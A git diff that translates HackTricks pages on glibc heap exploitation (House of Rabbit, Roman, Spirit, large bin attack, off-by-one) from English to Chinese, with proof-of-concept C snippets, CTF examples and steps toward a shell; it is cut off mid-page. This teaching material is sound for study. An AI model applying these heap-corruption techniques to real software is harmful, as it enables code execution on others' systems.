-6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
-7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
+1. **设置顶部块**:分配一个块并修改顶部块大小。
+2. **强制顶部块进入未排序块**:分配一个更大的块。
+3. **泄漏 libc 地址**:利用漏洞从未排序块读取。
+4. **执行未排序块攻击**:使用溢出写入 **\_IO_list_all**。
+5. **缩小旧顶部块**:调整其大小以适应小块。
+6. **设置假 \_IO_FILE 结构**:伪造假文件结构以劫持控制流。
+7. **触发代码执行**:分配一个块以执行攻击并运行任意代码。
-This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
+这种方法利用堆管理机制、libc 信息泄漏和堆溢出来实现代码执行,而无需直接调用 `free`。通过精心构造假 **\_IO_FILE** 结构并将其放置在正确的位置,攻击可以在标准内存分配操作期间劫持控制流。这使得执行任意代码成为可能,可能导致生成 shell 或其他恶意活动。
-## References
+## 参考
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md
index 230b7c63e..85ed75ce7 100644
--- a/src/binary-exploitation/libc-heap/house-of-rabbit.md
+++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md
@@ -4,108 +4,90 @@
### Requirements
-1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
-2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
+1. **能够修改快速堆块的 fd 指针或大小**: 这意味着您可以更改快速堆中一个块的前向指针或其大小。
+2. **能够触发 `malloc_consolidate`**: 这可以通过分配一个大块或合并顶部块来完成,这会强制堆合并块。
### Goals
-1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
-2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
+1. **创建重叠块**: 使一个块与另一个块重叠,从而允许进一步的堆操作。
+2. **伪造假块**: 使分配器在堆操作期间将假块视为合法块。
## Steps of the attack
-### POC 1: Modify the size of a fast bin chunk
+### POC 1: 修改快速堆块的大小
-**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
-
-- **Step 1: Allocate Chunks**
+**Objective**: 通过操纵快速堆块的大小来创建一个重叠块。
+- **Step 1: 分配块**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
+我们分配了两个各为0x40字节的块。这些块在释放后将被放入快速空闲链表中。
-We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
-
-- **Step 2: Free Chunks**
-
+- **步骤 2:释放块**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
+我们释放这两个块,将它们添加到 fastbin 列表中。
-We free both chunks, adding them to the fastbin list.
-
-- **Step 3: Modify Chunk Size**
-
+- **步骤 3:修改块大小**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
+我们将 `chunk1` 的大小元数据更改为 0xa1。这是欺骗分配器在合并期间的关键步骤。
-We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
-
-- **Step 4: Trigger `malloc_consolidate`**
-
+- **步骤 4:触发 `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
+分配大块内存会触发 `malloc_consolidate` 函数,将快速堆中的小块合并。被操控的 `chunk1` 大小导致它与 `chunk2` 重叠。
-Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
+合并后,`chunk1` 与 `chunk2` 重叠,从而允许进一步的利用。
-After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
+### POC 2: 修改 `fd` 指针
-### POC 2: Modify the `fd` pointer
-
-**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
-
-- **Step 1: Allocate Chunks**
+**目标**:通过操控快速堆 `fd` 指针创建一个伪造块。
+- **步骤 1:分配块**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
+**解释**:我们分配两个块,一个较小,一个较大,以便为假块设置堆。
-**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
-
-- **Step 2: Create fake chunk**
-
+- **步骤 2:创建假块**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
+我们在 `chunk2` 中写入假块元数据,以模拟更小的块。
-We write fake chunk metadata into `chunk2` to simulate smaller chunks.
-
-- **Step 3: Free `chunk1`**
-
+- **步骤 3:释放 `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
+**解释**:我们释放 `chunk1`,将其添加到 fastbin 列表中。
-**Explanation**: We free `chunk1`, adding it to the fastbin list.
-
-- **Step 4: Modify `fd` of `chunk1`**
-
+- **步骤 4:修改 `chunk1` 的 `fd`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
+**解释**:我们将 `chunk1` 的前向指针 (`fd`) 更改为指向 `chunk2` 内部的假块。
-**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
-
-- **Step 5: Trigger `malloc_consolidate`**
-
+- **步骤 5:触发 `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
+分配一个大块再次触发 `malloc_consolidate`,它处理假块。
-Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
+假块成为 fastbin 列表的一部分,使其成为进一步利用的合法块。
-The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
+### 总结
-### Summary
-
-The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
+**House of Rabbit** 技术涉及修改 fast bin 块的大小以创建重叠块或操纵 `fd` 指针以创建假块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解和实践这些步骤将增强你的堆利用技能。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index a3deaf939..dbffed335 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
+这是一种非常有趣的技术,允许通过假快块、未排序的 bin 攻击和相对覆盖实现 RCE,而无需泄漏。然而,它已经被 [**修补**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
-### Code
+### 代码
-- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
+- 你可以在 [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) 找到一个示例
-### Goal
+### 目标
-- RCE by abusing relative pointers
+- 通过滥用相对指针实现 RCE
-### Requirements
+### 要求
-- Edit fastbin and unsorted bin pointers
-- 12 bits of randomness must be brute forced (0.02% chance) of working
+- 编辑快块和未排序 bin 指针
+- 必须强行破解 12 位随机数(0.02% 的成功率)
-## Attack Steps
+## 攻击步骤
-### Part 1: Fastbin Chunk points to \_\_malloc_hook
+### 第 1 部分:快块块指向 \_\_malloc_hook
-Create several chunks:
+创建几个块:
-- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
-- `chunk2` (0x80, offset 0x70): For good alignment
-- `main_arena_use` (0x80, offset 0x100)
-- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
+- `fastbin_victim` (0x60, 偏移 0): UAF 块,稍后编辑堆指针以指向 LibC 值。
+- `chunk2` (0x80, 偏移 0x70): 用于良好的对齐
+- `main_arena_use` (0x80, 偏移 0x100)
+- `relative_offset_heap` (0x60, 偏移 0x190): 在 'main_arena_use' 块上的相对偏移
-Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
+然后 `free(main_arena_use)`,这将把这个块放入未排序列表,并在 `fd` 和 `bk` 指针中获取指向 `main_arena + 0x68` 的指针。
-Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
-
-Then `relative_offset_heap` and `fastbin_victim` are freed.
+现在分配一个新的块 `fake_libc_chunk(0x60)`,因为它将包含指向 `main_arena + 0x68` 的指针在 `fd` 和 `bk` 中。
+然后 `relative_offset_heap` 和 `fastbin_victim` 被释放。
```c
/*
Current heap layout:
- 0x0: fastbin_victim - size 0x70
- 0x70: alignment_filler - size 0x90
- 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
- 0x170: leftover_main - size 0x20
- 0x190: relative_offset_heap - size 0x70
+0x0: fastbin_victim - size 0x70
+0x70: alignment_filler - size 0x90
+0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
+0x170: leftover_main - size 0x20
+0x190: relative_offset_heap - size 0x70
- bin layout:
- fastbin: fastbin_victim -> relative_offset_heap
- unsorted: leftover_main
+bin layout:
+fastbin: fastbin_victim -> relative_offset_heap
+unsorted: leftover_main
*/
```
+- `fastbin_victim` 有一个指向 `relative_offset_heap` 的 `fd`
+- `relative_offset_heap` 是从 `fake_libc_chunk` 的距离偏移量,其中包含指向 `main_arena + 0x68` 的指针
+- 只需更改 `fastbin_victim.fd` 的最后一个字节,就可以使 `fastbin_victim` 指向 `main_arena + 0x68`
-- `fastbin_victim` has a `fd` pointing to `relative_offset_heap`
-- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
-- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
+对于之前的操作,攻击者需要能够修改 `fastbin_victim` 的 fd 指针。
-For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
+然后,`main_arena + 0x68` 并不是那么有趣,所以让我们修改它,使指针指向 **`__malloc_hook`**。
-Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
+请注意,`__memalign_hook` 通常以 `0x7f` 开头,并在其前面有零,因此可以将其伪装为 `0x70` 快速堆中的一个值。由于地址的最后 4 位是 **随机** 的,因此有 `2^4=16` 种可能性使值最终指向我们感兴趣的地方。因此在这里执行 BF 攻击,使得块最终变成:**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。**
-Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
-
-(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
-
-Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
+(有关其余字节的更多信息,请查看 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 示例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) 中的解释)。如果 BF 不起作用,程序就会崩溃(所以从头开始,直到它有效)。
+然后,执行 2 次 malloc 以移除 2 个初始快速堆块,并分配第三个以获取一个在 **`__malloc_hook:`** 中的块。
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
+### Part 2: Unsorted_bin 攻击
-### Part 2: Unsorted_bin attack
-
-For more info you can check:
+有关更多信息,您可以查看:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
-But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
-
-For this we start getting a chunk and putting it into the **unsorted bin**:
+但基本上,它允许将 `main_arena + 0x68` 写入 `chunk->bk` 指定的任何位置。对于攻击,我们选择 `__malloc_hook`。然后,在覆盖它之后,我们将使用相对覆盖来指向 `one_gadget`。
+为此,我们开始获取一个 chunk 并将其放入 **unsorted bin**:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-
-Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
+使用 UAF 在此块中将 `unsorted_bin_ptr->bk` 指向 `__malloc_hook` 的地址(我们之前已经暴力破解过这个)。
> [!CAUTION]
-> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
+> 请注意,此攻击会破坏未排序的 bin(因此小和大也会受到影响)。因此我们现在只能**使用快速 bin 的分配**(更复杂的程序可能会进行其他分配并崩溃),并且要触发这一点,我们必须**分配相同的大小,否则程序将崩溃。**
-So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
+因此,为了触发 `__malloc_hook` 中 `main_arena + 0x68` 的写入,在将 `__malloc_hook` 设置在 `unsorted_bin_ptr->bk` 后,我们只需执行:**`malloc(0x80)`**
-### Step 3: Set \_\_malloc_hook to system
+### 第 3 步:将 \_\_malloc_hook 设置为 system
-In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
+在第一步中,我们控制了一个包含 `__malloc_hook` 的块(在变量 `malloc_hook_chunk` 中),在第二步中,我们成功地在这里写入了 `main_arena + 0x68`。
-Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
+现在,我们利用 `malloc_hook_chunk` 中的部分覆盖,使用我们在这里写入的 libc 地址(`main_arena + 0x68`)来**指向一个 `one_gadget` 地址**。
-Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
+在这里需要**暴力破解 12 位随机数**(更多信息请参见 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 示例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c))。
-Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
+最后,一旦正确的地址被覆盖,**调用 `malloc` 并触发 `one_gadget`**。
-## References
+## 参考文献
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md
index 1ce36fd14..0f8ed29fc 100644
--- a/src/binary-exploitation/libc-heap/house-of-spirit.md
+++ b/src/binary-exploitation/libc-heap/house-of-spirit.md
@@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-### Code
+### 代码
House of Spirit
-
```c
#include
#include
@@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
- size_t prev_size;
- size_t size;
- struct fast_chunk *fd;
- struct fast_chunk *bk;
- char buf[0x20]; // chunk falls in fastbin size range
+size_t prev_size;
+size_t size;
+struct fast_chunk *fd;
+struct fast_chunk *bk;
+char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
- struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
- void *ptr, *victim;
+struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
+void *ptr, *victim;
- ptr = malloc(0x30);
+ptr = malloc(0x30);
- printf("Original alloc address: %p\n", ptr);
- printf("Main fake chunk:%p\n", &fake_chunks[0]);
- printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
+printf("Original alloc address: %p\n", ptr);
+printf("Main fake chunk:%p\n", &fake_chunks[0]);
+printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
- // Passes size check of "free(): invalid size"
- fake_chunks[0].size = sizeof(struct fast_chunk);
+// Passes size check of "free(): invalid size"
+fake_chunks[0].size = sizeof(struct fast_chunk);
- // Passes "free(): invalid next size (fast)"
- fake_chunks[1].size = sizeof(struct fast_chunk);
+// Passes "free(): invalid next size (fast)"
+fake_chunks[1].size = sizeof(struct fast_chunk);
- // Attacker overwrites a pointer that is about to be 'freed'
- // Point to .fd as it's the start of the content of the chunk
- ptr = (void *)&fake_chunks[0].fd;
+// Attacker overwrites a pointer that is about to be 'freed'
+// Point to .fd as it's the start of the content of the chunk
+ptr = (void *)&fake_chunks[0].fd;
- free(ptr);
+free(ptr);
- victim = malloc(0x30);
- printf("Victim: %p\n", victim);
+victim = malloc(0x30);
+printf("Victim: %p\n", victim);
- return 0;
+return 0;
}
```
-
-### Goal
+### 目标
-- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
+- 能够将一个地址添加到 tcache / fast bin,以便后续可以分配它
-### Requirements
+### 要求
-- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
+- 该攻击要求攻击者能够创建几个假 fast chunks,正确指示其大小值,然后能够释放第一个假 chunk,使其进入 bin。
-### Attack
+### 攻击
-- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
-- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
-
-**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
+- 创建绕过安全检查的假 chunks:您基本上需要 2 个假 chunks,正确指示正确的大小
+- 以某种方式管理释放第一个假 chunk,使其进入 fast 或 tcache bin,然后分配它以覆盖该地址
+**来自** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **的代码非常适合理解该攻击。** 尽管该代码的示意图总结得很好:
```c
/*
- this will be the structure of our two fake chunks:
- assuming that you compiled it for x64
+this will be the structure of our two fake chunks:
+assuming that you compiled it for x64
- +-------+---------------------+------+
- | 0x00: | Chunk # 0 prev size | 0x00 |
- +-------+---------------------+------+
- | 0x08: | Chunk # 0 size | 0x60 |
- +-------+---------------------+------+
- | 0x10: | Chunk # 0 content | 0x00 |
- +-------+---------------------+------+
- | 0x60: | Chunk # 1 prev size | 0x00 |
- +-------+---------------------+------+
- | 0x68: | Chunk # 1 size | 0x40 |
- +-------+---------------------+------+
- | 0x70: | Chunk # 1 content | 0x00 |
- +-------+---------------------+------+
++-------+---------------------+------+
+| 0x00: | Chunk # 0 prev size | 0x00 |
++-------+---------------------+------+
+| 0x08: | Chunk # 0 size | 0x60 |
++-------+---------------------+------+
+| 0x10: | Chunk # 0 content | 0x00 |
++-------+---------------------+------+
+| 0x60: | Chunk # 1 prev size | 0x00 |
++-------+---------------------+------+
+| 0x68: | Chunk # 1 size | 0x40 |
++-------+---------------------+------+
+| 0x70: | Chunk # 1 content | 0x00 |
++-------+---------------------+------+
- for what we are doing the prev size values don't matter too much
- the important thing is the size values of the heap headers for our fake chunks
+for what we are doing the prev size values don't matter too much
+the important thing is the size values of the heap headers for our fake chunks
*/
```
-
> [!NOTE]
-> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
+> 请注意,创建第二个块是绕过某些完整性检查的必要条件。
-## Examples
+## 示例
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
- Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
+- **Libc 信息泄露**:通过溢出,可以更改指针以指向 GOT 地址,从而通过 CTF 的读取操作泄露 libc 地址。
+- **House of Spirit**:利用一个计数器来计算“步枪”的数量,可以生成第一个假块的假大小,然后利用“消息”可以伪造第二个块的大小,最后通过溢出可以更改一个即将被释放的指针,这样我们的第一个假块就被释放了。然后,我们可以分配它,里面将包含“消息”存储的地址。接着,可以使这个指针指向 GOT 表中的 `scanf` 入口,这样我们就可以用 system 的地址覆盖它。\
+下次调用 `scanf` 时,我们可以发送输入 `"/bin/sh"` 并获得一个 shell。
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- - **Glibc leak**: Uninitialized stack buffer.
- - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
+- **Glibc 泄露**:未初始化的栈缓冲区。
+- **House of Spirit**:我们可以修改全局堆指针数组的第一个索引。通过单字节修改,我们在一个有效块内的假块上使用 `free`,这样在再次分配后我们就得到了重叠块的情况。通过这种方式,简单的 Tcache 中毒攻击可以实现任意写入原语。
-## References
+## 参考
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)
diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md
index fb8a721c9..342f64663 100644
--- a/src/binary-exploitation/libc-heap/large-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/large-bin-attack.md
@@ -2,57 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-For more information about what is a large bin check this page:
+有关大型 bin 的更多信息,请查看此页面:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
+在 [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) 中可以找到一个很好的示例。
-Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
+基本上,在最新的 glibc(2.35)“当前”版本中,可以看到没有检查:**`P->bk_nextsize`**,这允许在满足某些条件时用大型 bin 块的值修改任意地址。
-In that example you can find the following conditions:
+在该示例中,可以找到以下条件:
-- A large chunk is allocated
-- A large chunk smaller than the first one but in the same index is allocated
- - Must be smalled so in the bin it must go first
-- (A chunk to prevent merging with the top chunk is created)
-- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
-- Then, the second large chunk is freed
-- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
-- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
+- 分配了一个大型块
+- 分配了一个小于第一个块但在同一索引中的大型块
+- 必须更小,因此它必须首先进入 bin
+- (创建一个块以防止与顶部块合并)
+- 然后,释放第一个大型块并分配一个比它更大的新块 -> Chunk1 进入大型 bin
+- 然后,释放第二个大型块
+- 现在,漏洞:攻击者可以将 `chunk1->bk_nextsize` 修改为 `[target-0x20]`
+- 然后,分配一个比 chunk 2 更大的块,因此 chunk2 被插入到大型 bin 中,覆盖地址 `chunk1->bk_nextsize->fd_nextsize`,其值为 chunk2 的地址
> [!TIP]
-> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
-
-This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
+> 还有其他潜在场景,关键是向大型 bin 添加一个 **小于** 当前 bin 中 X 块的块,因此它需要在 bin 中插入到 X 之前,并且我们需要能够修改 X 的 **`bk_nextsize`**,因为较小块的地址将写入该位置。
+这是 malloc 中的相关代码。已添加注释以更好地理解地址是如何被覆盖的:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
- {
- fwd = bck; // fwd = p1
- bck = bck->bk; // bck = p1->bk
+{
+fwd = bck; // fwd = p1
+bck = bck->bk; // bck = p1->bk
- victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
- victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
- fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
- }
+victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
+victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
+fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
+}
```
+这可以用来**覆盖libc的`global_max_fast`全局变量**,从而利用更大块的快速堆攻击。
-This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
+您可以在[**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)找到对该攻击的另一个很好的解释。
-You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
-
-### Other examples
+### 其他示例
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- - The write primitive is more complex, because `global_max_fast` is useless here.
- - FSOP is needed to finish the exploit.
+- 在[**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)中出现的相同情况的大型堆攻击。
+- 写入原语更复杂,因为`global_max_fast`在这里无用。
+- 需要FSOP来完成利用。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md
index 000044db5..692f60772 100644
--- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md
+++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md
@@ -2,114 +2,112 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
+仅仅访问 1B 溢出允许攻击者修改下一个块的 `size` 字段。这允许篡改哪些块实际上被释放,从而可能生成一个包含另一个合法块的块。该利用方式类似于 [double free](double-free.md) 或重叠块。
-There are 2 types of off by one vulnerabilities:
+有两种类型的 off by one 漏洞:
-- Arbitrary byte: This kind allows to overwrite that byte with any value
-- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
